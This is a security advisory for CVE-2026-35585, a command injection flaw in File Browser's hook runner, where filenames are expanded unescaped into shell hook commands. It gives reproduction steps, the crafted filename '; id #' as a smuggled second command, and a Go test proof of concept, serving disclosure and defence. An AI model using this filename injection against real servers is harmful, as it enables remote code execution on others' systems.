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File Browser has a Command Injection via Hook Runner

High severity GitHub Reviewed Published Apr 4, 2026 in filebrowser/filebrowser • Updated Jun 9, 2026

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

< 2.33.8

Patched versions

2.33.8

Description

Note

This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check filebrowser/filebrowser#5199.

Overview

The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).

Affected Location

  • File: runner/runner.go
  • Function: Runner.exec

Technical Details

Runner.exec expands template variables inside hook command strings using os.Expand:

// runner/runner.go
envMapping := func(key string) string {
    switch key {
    case "FILE":
        return path       // attacker-controlled filename
    case "USERNAME":
        return username   // attacker-controlled username
    // ...
    }
}

for i, arg := range command {
    if i == 0 { continue }
    command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}

The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:

sh -c "echo created $FILE"

...and an attacker creates a file named ; id #, the variable expansion produces:

sh -c "echo created /path/to/; id #"

The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.

This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.

Attack Scenario / Reproduction Steps

  1. Admin configures an after_upload hook: sh -c "echo created $FILE".
  2. The attacker (authenticated user with upload permission) uploads a file named ; id #.
  3. The upload succeeds and the hook fires automatically.
  4. The server executes: 
    sh -c "echo created /uploads/; id #"
  5. The id command runs, confirming RCE.

Impact

Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.

Proof of Concept

package runner

import (
        "os"
        "testing"

        "github.com/filebrowser/filebrowser/v2/settings"
)

func TestPoC_FileHookInjection(t *testing.T) {
        // Simulate an admin-configured shell-based hook
        r := &Runner{
                Enabled: true,
                Settings: &settings.Settings{
                        Shell: []string{"sh", "-c"},
                        Commands: map[string][]string{
                                "after_upload": {"echo Uploaded $FILE"},
                        },
                },
        }

        // Malicious filename crafted by the attacker
        maliciousFilename := "/tmp/safe; id #"

        // Simulate the exec logic in runner/runner.go
        raw := r.Commands["after_upload"][0]
        command, _, _ := ParseCommand(r.Settings, raw)

        envMapping := func(key string) string {
                if key == "FILE" {
                        return maliciousFilename
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $FILE with the attacker-controlled filename —
                // no escaping is applied, so shell metacharacters pass through unchanged.
                command[i] = os.Expand(arg, envMapping)
        }

        // The resulting command argument is the injected shell script:
        // sh -c "echo Uploaded /tmp/safe; id #"
        expectedArg := "echo Uploaded /tmp/safe; id #"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}

References

@hacdias hacdias published to filebrowser/filebrowser Apr 4, 2026
Published by the National Vulnerability Database Apr 7, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026
Last updated Jun 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(83rd percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

CVE ID

CVE-2026-35585

GHSA ID

GHSA-jvpw-637p-h3pw

Source code

Credits

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